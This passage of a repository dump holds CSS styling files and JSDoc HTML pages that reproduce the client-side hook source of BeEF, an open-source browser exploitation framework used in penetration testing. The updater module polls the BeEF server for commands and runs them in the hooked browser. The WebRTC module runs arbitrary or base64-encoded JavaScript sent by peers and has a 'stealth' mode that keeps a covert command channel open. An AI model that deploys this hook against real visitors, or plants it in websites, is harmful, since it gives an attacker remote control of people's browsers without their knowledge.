padding-left: 0; } .prettyprint.linenums li { border-left: 3px #ddd solid; } .prettyprint.linenums li.selected, .prettyprint.linenums li.selected * { background-color: lightyellow; } .prettyprint.linenums li * { -webkit-user-select: text; -moz-user-select: text; -ms-user-select: text; user-select: text; } .params .name, .props .name, .name code { color: #4D4E53; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 100%; } .params td.description > p:first-child, .props td.description > p:first-child { margin-top: 0; padding-top: 0; } .params td.description > p:last-child, .props td.description > p:last-child { margin-bottom: 0; padding-bottom: 0; } .disabled { color: #454545; } ================================================ FILE: docs/styles/prettify-jsdoc.css ================================================ /* JSDoc prettify.js theme */ /* plain text */ .pln { color: #000000; font-weight: normal; font-style: normal; } /* string content */ .str { color: #006400; font-weight: normal; font-style: normal; } /* a keyword */ .kwd { color: #000000; font-weight: bold; font-style: normal; } /* a comment */ .com { font-weight: normal; font-style: italic; } /* a type name */ .typ { color: #000000; font-weight: normal; font-style: normal; } /* a literal value */ .lit { color: #006400; font-weight: normal; font-style: normal; } /* punctuation */ .pun { color: #000000; font-weight: bold; font-style: normal; } /* lisp open bracket */ .opn { color: #000000; font-weight: bold; font-style: normal; } /* lisp close bracket */ .clo { color: #000000; font-weight: bold; font-style: normal; } /* a markup tag name */ .tag { color: #006400; font-weight: normal; font-style: normal; } /* a markup attribute name */ .atn { color: #006400; font-weight: normal; font-style: normal; } /* a markup attribute value */ .atv { color: #006400; font-weight: normal; font-style: normal; } /* a declaration */ .dec { color: #000000; font-weight: bold; font-style: normal; } /* a variable name */ .var { color: #000000; font-weight: normal; font-style: normal; } /* a function name */ .fun { color: #000000; font-weight: bold; font-style: normal; } /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; } ================================================ FILE: docs/styles/prettify-tomorrow.css ================================================ /* Tomorrow Theme */ /* Original theme - https://github.com/chriskempson/tomorrow-theme */ /* Pretty printing styles. Used with prettify.js. */ /* SPAN elements with the classes below are added by prettyprint. */ /* plain text */ .pln { color: #4d4d4c; } @media screen { /* string content */ .str { color: #718c00; } /* a keyword */ .kwd { color: #8959a8; } /* a comment */ .com { color: #8e908c; } /* a type name */ .typ { color: #4271ae; } /* a literal value */ .lit { color: #f5871f; } /* punctuation */ .pun { color: #4d4d4c; } /* lisp open bracket */ .opn { color: #4d4d4c; } /* lisp close bracket */ .clo { color: #4d4d4c; } /* a markup tag name */ .tag { color: #c82829; } /* a markup attribute name */ .atn { color: #f5871f; } /* a markup attribute value */ .atv { color: #3e999f; } /* a declaration */ .dec { color: #f5871f; } /* a variable name */ .var { color: #c82829; } /* a function name */ .fun { color: #4271ae; } } /* Use higher contrast and text-weight for printable form. */ @media print, projection { .str { color: #060; } .kwd { color: #006; font-weight: bold; } .com { color: #600; font-style: italic; } .typ { color: #404; font-weight: bold; } .lit { color: #044; } .pun, .opn, .clo { color: #440; } .tag { color: #006; font-weight: bold; } .atn { color: #404; } .atv { color: #060; } } /* Style */ /* pre.prettyprint { background: white; font-family: Consolas, Monaco, 'Andale Mono', monospace; font-size: 12px; line-height: 1.5; border: 1px solid #ccc; padding: 10px; } */ /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; } /* IE indents via margin-left */ li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9 { /* */ } /* Alternate shading for lines */ li.L1, li.L3, li.L5, li.L7, li.L9 { /* */ } ================================================ FILE: docs/timeout.js.html ================================================ JSDoc: Source: timeout.js

Source: timeout.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Sometimes there are timing issues and looks like beef_init
 * is not called at all (always in cross-origin situations,
 * for example calling the hook with jquery getScript,
 * or sometimes with event handler injections).
 * 
 * To fix this, we call again beef_init after 1 second.
 * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
 * antisnatchor
 * @namespace beef.timeout
 */

 /**
  * @memberof beef.timeout 
  * @function setTimeout 
  */
setTimeout(beef_init, 1000);

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/updater.js.html ================================================ JSDoc: Source: updater.js

Source: updater.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Object in charge of getting new commands from the BeEF framework and execute them.
 * The XHR-polling channel is managed here. If WebSockets are enabled,
 * websocket.js is used instead.
 * @namespace beef.updater
 */
beef.updater = {
	
	/** XHR-polling timeout. */ 
	xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
	
	/** Hook session name. */ 
    beefhook: "<%= @hook_session_name %>",
	
	/** A lock. */ 
	lock: false,
	
	/** An object containing all values to be registered and sent by the updater. */
	objects: new Object(),
	
	/**
	 * Registers an object to always send when requesting new commands to the framework.
	 * @param {String} key the name of the object.
	 * @param {String} value the value of that object.
	 * 
	 * @example beef.updater.regObject('java_enabled', 'true');
	 */
	regObject: function(key, value) {
		this.objects[key] = escape(value);
	},
	
	// Checks for new commands from the framework and runs them.
	check: function() {
		if(this.lock == false) {
			if (beef.logger.running) {
				beef.logger.queue();
			}
			beef.net.flush();
			if(beef.commands.length > 0) {
				this.execute_commands();
			}else {
				this.get_commands();    /*Polling*/
			}
		}
        /* The following gives a stupid syntax error in IE, which can be ignored*/
        setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
	},
	
    /**
     * Gets new commands from the framework.
     */
	get_commands: function() {
		try {
			this.lock = true;
            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
                if (response.body != null && response.body.length > 0)
                    beef.updater.execute_commands();
            });
		} catch(e) {
			this.lock = false;
			return;
		}
		this.lock = false;
	},
	
    /**
     * Executes the received commands, if any.
     */
	execute_commands: function() {
		if(beef.commands.length == 0) return;
		this.lock = true;
		while(beef.commands.length > 0) {
			command = beef.commands.pop();
			try {
				command();
			} catch(e) {
				beef.debug('execute_commands - command failed to execute: ' + e.message);
                // prints the command source to be executed, to better trace errors
                // beef.client_debug must be enabled in the main config
                beef.debug(command.toString());
			}
		}
		this.lock = false;
	}
};

beef.regCmp('beef.updater');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/webrtc.js.html ================================================ JSDoc: Source: webrtc.js

Source: webrtc.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//


/**
 * Manage the WebRTC peer to peer communication channels.
 * This objects contains all the necessary client-side WebRTC components,
 * allowing browsers to use WebRTC to communicate with each other.
 * To provide signaling, the WebRTC extension sets up custom listeners.
 *  /rtcsignal - for sending RTC signalling information between peers
 *  /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
 *
 * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
 * the signalling.
 *
 * This is all mostly a Proof of Concept
 * @namespace beef.webrtc
 */

/** 
 * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. 
 * @memberof beef.webrtc
*/
beefrtcs = {};
/** 
 * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
 * these objects persist outside of everything else. The key is the peer id.
 * @memberof beef.webrtc
 */
globalrtc = {}; 
/** 
 * stealth should only be initiated from one peer - this global variable will contain:
 * false - i.e not stealthed; or
 * <peerid> - i.e. the id of the browser which initiated stealth mode
 * @memberof beef.webrtc
 */
rtcstealth = false; 
/** 
 * To handle multiple event channels - we need to have a global hash of these. The key is the peer id 
 * @memberof beef.webrtc
*/
rtcrecvchan = {}; 

/**
 * Beefwebrtc object - wraps everything together for a peer connection
 * One of these per peer connection, and will be stored in the beefrtc global hash
 * @memberof beef.webrtc
 * @param initiator 
 * @param peer 
 * @param turnjson 
 * @param stunservers 
 * @param verbparam 
 */
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
    this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
    this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
    this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
    this.turnjson = turnjson; // set of TURN servers in the format:
                              // {"username": "<username", "password": "<password>", "uris": [
                              //    "turn:<ip>:<port>?transport=<udp/tcp>",
                              //    "turn:<ip>:<port>?transport=<udp/tcp>"]}
    this.started = false; // Has signaling / dialing started for this peer
    this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
    this.turnDone = false; // does the pcConfig have TURN servers added to it?
    this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
                                 // the receiver will set this to true once it receives an SDP 'offer'
    this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
    this.pcConfig = null; // We set this during init
    this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
    this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
    this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
    this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
    this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
    this.dataChannel = null; // The data channel used by this peer
    this.stunservers = stunservers; // set of STUN servers, in the format:
                                    // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
}

/**
 * Initialize the object
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.initialize = function() {
  if (this.peerid == null) {
    return 0; // no peerid - NO DICE
  }

  // Initialise the pcConfig hash with the provided stunservers
  var stuns = JSON.parse(this.stunservers);
  this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
    "credential":"pass"}]};

  // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
  // this.forceTurn(this.turnjson);
  this.turnDone = true;

  // Caller is always ready to create peerConnection.
  this.signalingReady = this.initiator;

  // Start .. maybe 
  this.maybeStart();

  // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
  // window.onbeforeunload = function() {
  //   this.sendSignalMsg({type: 'bye'});
  // }

  return 1; // because .. yeah .. we had a peerid - this is good yar.
}

/** 
 * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
 * These values are now simply passed in from the config.yaml for the webrtc extension
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.forceTurn = function(jason) {
    var turnServer = JSON.parse(jason);
    var iceServers = createIceServers(turnServer.uris,
                                      turnServer.username,
                                      turnServer.password);
    if (iceServers !== null) {
        this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
    }
    beef.debug("Got TURN servers, will try and maybestart again..");
    this.turnDone = true;
    this.maybeStart();
}

/**
 * Try and establish the RTC connection
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.createPeerConnection = function() {
  beef.debug('Creating RTCPeerConnnection with the following options:\n' +
            '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
            '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  try {
    // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
    globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
    globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
    beef.debug('Created RTCPeerConnnection with the following options:\n' +
              '  config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
              '  constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
    
  } catch (e) {
    beef.debug('Failed to create PeerConnection, exception: ');
    beef.debug(e);
    return;
  }

  // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
  globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
  globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
  globalrtc[this.peerid].ondatachannel = this.onDataChannel;
  this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
}

/** 
 * When the PeerConnection receives a new ICE Candidate 
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onIceCandidate = function(event) {
  var peerid = null;

  for (var k in beefrtcs) {
    if (beefrtcs[k].allgood === false) {
      peerid = beefrtcs[k].peerid;
    }
  }

  beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
  beef.debug(event);

  if (event.candidate) {
    // Send the candidate to the peer via the BeEF signalling channel
    beefrtcs[peerid].sendSignalMsg({type: 'candidate',
                 label: event.candidate.sdpMLineIndex,
                 id: event.candidate.sdpMid,
                 candidate: event.candidate.candidate});
    // Note this ICE candidate locally
    beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
  } else {
    beef.debug('End of candidates.');
  }
}

/**
 * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
 * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
 * against the message directly
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.processMessage = function(message) {
  beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
  var msg = JSON.parse(message);

  if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
    beef.debug('processing the message, as a receiver');
    if (msg.type === 'offer') { // This IS an SDP Offer
      beef.debug('.. and the message is an offer .. ');
      this.msgQueue.unshift(msg); // put it on the top of the msgqueue
      this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
      this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
    } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
      beef.debug(' .. the message is NOT an offer .. ');
      this.msgQueue.push(msg);
    }
  } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
    beef.debug('processing the message, as the sender, no answers yet');
    if (msg.type === 'answer') { // This IS an SDP Answer
        beef.debug('.. and we have an answer ..');
        this.processSignalingMessage(msg); // Process the message directly
        this.gotanswer = true; // We have now received an answer
        //process all other queued message...
        while (this.msgQueue.length > 0) {
            this.processSignalingMessage(this.msgQueue.shift());
        }
    } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
        beef.debug('.. not an answer ..');
        this.msgQueue.push(msg);
    }
  } else { // For all other messages just drop them in the queue
    beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
    this.processSignalingMessage(msg);
  } 
}

/** 
 * Send a signalling message ..
 * @memberof beef.webrtc
 */ 
Beefwebrtc.prototype.sendSignalMsg = function(message) {
  var msgString = JSON.stringify(message);
  beef.debug('Signalling Message - C->S: ' + msgString);
  beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
}

/**
 * Used to record ICS candidates locally
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
  if (this.gatheredIceCandidateTypes[location][type])
    return;
  this.gatheredIceCandidateTypes[location][type] = 1;
  // updateInfoDiv();
}


/**
 * When the signalling state changes. We don't actually do anything with this except log it.
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
  beef.debug("Signalling has changed to: " + event.target.signalingState);
}

/**
 * When the ICE Connection State changes - this is useful to determine connection statuses with peers.
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
  var peerid = null;

  for (k in globalrtc) {
    if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
      peerid = k;
    }
  }

  beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);

  // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for 
  // better candidates or connections
  if (event.target.iceConnectionState === 'connected') {
    //Send status to peer
    window.setTimeout(function() {
        beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
        beefrtcs[peerid].allgood = true;
        },1000);
  }

  // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
  if (event.target.iceConnectionState === 'completed') {
    window.setTimeout(function() {
      beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
      beefrtcs[peerid].allgood = true;
    },1000);
  }

  if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
    //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
    rtcstealth = false;
    beefrtcs[peerid].allgood = false;
    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
    //I was not in stealth, and this peer has gone offline - send a message
    beefrtcs[peerid].allgood = false;
    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  }
  // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
  // This is possibly a bad idea - @xntrik


}

/**
 * This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.goStealth = function() {
    //stop the beef updater
    rtcstealth = this.peerid; // this is a global variable
    beef.updater.lock = true;
    this.sendPeerMsg('Going into stealth mode');

    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}

/**
 * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
 * @memberof beef.webrtc
 */
rtcpollPeer = function() {
    if (rtcstealth == false) {
        //my peer has disabled stealth mode
        beef.updater.lock = false;
        return;
    }

    beef.debug('lub dub');

    beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth

    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}

/** 
 * When a data channel has been established - within here is the message handling function as well
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onDataChannel = function(event) {
  var peerid = null;
  for (k in globalrtc) {
    if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
      peerid = k;
    }
  }

  beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
  rtcrecvchan[peerid] = event.channel;

  // This is the onmessage event handling within the datachannel
  rtcrecvchan[peerid].onmessage = function(ev2) {
    beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);

    // We've received the command to go into stealth mode
    if (ev2.data == "!gostealth") {
        if (beef.updater.lock == true) {
            setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
        } else {
            beefrtcs[peerid].goStealth();
        }

    // The message to come out of stealth
    } else if (ev2.data == "!endstealth") {

      if (rtcstealth != null) {
        beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
        rtcstealth = false;
      }

    // Command to perform arbitrary JS (while stealthed)
    } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
      beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
      beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));

    // Command to perform arbitrary JS (while NOT stealthed)
    } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
      beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
      beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));

    // B64d command from the /cmdexec API
    } else if (ev2.data.charAt(0) == "@") {
      beef.debug('message was a b64d command');

      var fn = new Function(atob(ev2.data.substring(1)));
      fn();
      if (rtcstealth != false) { // force stealth back on ?
        beef.updater.execute_commands(); // FORCE execution while stealthed
        beef.updater.lock = true;
      }


    // Just a plain text message .. (while stealthed)
    } else if (rtcstealth != false) {
      beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
      beefrtcs[rtcstealth].sendPeerMsg(ev2.data);

    // Just a plan text message (while NOT stealthed)
    } else {
      beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
      beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
    }
  } 
}

/**
 * How the browser executes received JS (this is pretty hacky)
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.execCmd = function(input) {
  var fn = new Function(input);
  var res = fn();
  return res.toString();
}

/**
 * Shortcut function to SEND a data messsage
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
  beef.debug('sendPeerMsg to ' + this.peerid);
  this.dataChannel.send(msg);
}

/**
 * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.maybeStart = function() {
  beef.debug("maybe starting ... ");

  if (!this.started && this.signalingReady && this.turnDone) {
    beef.debug('Creating PeerConnection.');
    this.createPeerConnection();

    this.started = true;

    if (this.initiator) {
      beef.debug("Making the call now .. bzz bzz");
      this.doCall();
    } else {
      beef.debug("Receiving a call now .. somebuddy answer da fone?");
      this.calleeStart();
    }

  } else {
    beef.debug("Not ready to start just yet..");
  }
}

/** 
 * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.doCall = function() {
  var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
  var self = this;
  globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
  beef.debug('Sending offer to peer, with constraints: \n' +
             '  \'' + JSON.stringify(constraints) + '\'.');
}

/**
 * Helper method to merge SDP constraints
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
  var merged = cons1;
  for (var name in cons2.mandatory) {
    merged.mandatory[name] = cons2.mandatory[name];
  }
  merged.optional.concat(cons2.optional);
  return merged;
}

/**
 * Sets the local RTC session description, sends this information back (via signalling)
 * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
 * The receiver uses this information too - and vice-versa - hence the signaling
 * 
 */
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
  var peerid = null;

  for (var k in beefrtcs) {
    if (beefrtcs[k].allgood === false) {
      peerid = beefrtcs[k].peerid;
    }
  }
  beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");

  globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
  beefrtcs[peerid].sendSignalMsg(sessionDescription);

  function onSetSessionDescriptionSuccess() {
    beef.debug('Set session description success.');
  }

  function onSetSessionDescriptionError() {
    beef.debug('Failed to set session description');
  }
}

/**
 * If the browser can't build an SDP
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
  beef.debug('Failed to create session description: ' + error.toString());
}

/**
 * If the browser successfully sets a remote description
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
  beef.debug('Set remote session description successfully');
}

/**
 * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.calleeStart = function() {
  // Callee starts to process cached offer and other messages.
  while (this.msgQueue.length > 0) {
    this.processSignalingMessage(this.msgQueue.shift());
  }
}

/** 
 * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.processSignalingMessage = function(message) {
  if (!this.started) {
    beef.debug('peerConnection has not been created yet!');
    return;
  }

  if (message.type === 'offer') {
    beef.debug("Processing signalling message: OFFER");
    if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
                                     // version of FF - which no longer works
        beef.debug("Moz shim here");
        globalrtc[this.peerid].setRemoteDescription(
            new RTCSessionDescription(message),
            function() {
              // globalrtc[this.peerid].createAnswer(function(answer) {
              //   globalrtc[this.peerid].setLocalDescription(

              var peerid = null;

              for (var k in beefrtcs) {
                if (beefrtcs[k].allgood === false) {
                  peerid = beefrtcs[k].peerid;
                }
              }

              globalrtc[peerid].createAnswer(function(answer) {
                globalrtc[peerid].setLocalDescription(
                    new RTCSessionDescription(answer),
                    function() {
                      beefrtcs[peerid].sendSignalMsg(answer);
                    },function(error) {
                      beef.debug("setLocalDescription error: " + error);
                    });
              },function(error) {
                beef.debug("createAnswer error: " +error);
              });
            },function(error) {
              beef.debug("setRemoteDescription error: " + error);
            });
                          
    } else {
      this.setRemote(message);
      this.doAnswer();
    }
  } else if (message.type === 'answer') {
    beef.debug("Processing signalling message: ANSWER");
    if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
        beef.debug("Moz shim here");
        globalrtc[this.peerid].setRemoteDescription(
          new RTCSessionDescription(message),
          function() {},
          function(error) {
            beef.debug("setRemoteDescription error: " + error);
          });
    } else {
      this.setRemote(message);
    }
  } else if (message.type === 'candidate') {
    beef.debug("Processing signalling message: CANDIDATE");
    var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
                                         candidate: message.candidate});
    this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
    globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
  } else if (message.type === 'bye') {
    this.onRemoteHangup();
  }
}

/**
 * Used to set the RTC remote session
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.setRemote = function(message) {
    globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
       this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
}

/** 
 * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.doAnswer = function() {
  beef.debug('Sending answer to peer.');
  globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
}

/** 
 * Helper method to determine what kind of ICE Candidate we've received
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
  if (candidateSDP.indexOf("typ relay ") >= 0)
    return "TURN";
  if (candidateSDP.indexOf("typ srflx ") >= 0)
    return "STUN";
  if (candidateSDP.indexOf("typ host ") >= 0)
    return "HOST";
  return "UNKNOWN";
}

/**
 * Event handler for successful addition of ICE Candidates
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
  beef.debug('AddIceCandidate success.');
}

/**
 * Event handler for unsuccessful addition of ICE Candidates
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
  beef.debug('Failed to add Ice Candidate: ' + error.toString());
}

/** 
 * If a peer hangs up (we bring down the peerconncetion via the stop() method)
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.onRemoteHangup = function() {
  beef.debug('Session terminated.');
  this.initiator = 0;
  // transitionToWaiting();
  this.stop();
}

/** 
 * Bring down the peer connection
 * @memberof beef.webrtc
 */
Beefwebrtc.prototype.stop = function() {
  this.started = false; // we're no longer started
  this.signalingReady = false; // signalling isn't ready
  globalrtc[this.peerid].close(); // close the RTCPeerConnection option
  globalrtc[this.peerid] = null; // Remove it
  this.msgQueue.length = 0; // clear the msgqueue
  rtcstealth = false; // no longer stealth
  this.allgood = false; // allgood .. NAH UH
}

/**
 * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
 * These are the methods which are executed via the custom extension of the hook.js
 * @memberof beef.webrtc
 */
beef.webrtc = {
  // Start the RTCPeerConnection process
  start: function(initiator,peer,turnjson,stunservers,verbose) {
    if (peer in beefrtcs) {
      // If the RTC peer is not in a good state, try kickng it off again
      // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
      if (beefrtcs[peer].allgood == false) {
        beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
        beefrtcs[peer].initialize();
      }
    } else {
      // Standard behaviour for new peer connections
      beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
      beefrtcs[peer].initialize();
    }
  },

  // Check the status of all my peers .. 
  status: function(me) {
    if (Object.keys(beefrtcs).length > 0) {
      for (var k in beefrtcs) {
        if (beefrtcs.hasOwnProperty(k)) {
          beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
        }
      }
    } else {
      beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
    }
  }
}
beef.regCmp('beef.webrtc');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/websocket.js.html ================================================ JSDoc: Source: websocket.js

Source: websocket.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//


/**
 * Manage the WebSocket communication channel.
 * This channel is much faster and responsive, and it's used automatically
 * if the browser supports WebSockets AND beef.http.websocket.enable = true.
 * @namespace beef.websocket
 */

beef.websocket = {

    socket:null,
    ws_poll_timeout: "<%= @ws_poll_timeout %>",
    ws_connect_timeout: "<%= @ws_connect_timeout %>",

    /**
     * Initialize the WebSocket client object.
     * Note: use WebSocketSecure only if the hooked origin is under https.
     * Mixed-content in WS is quite different from a non-WS context.
     */
    init:function () {
        var webSocketServer = beef.net.host;
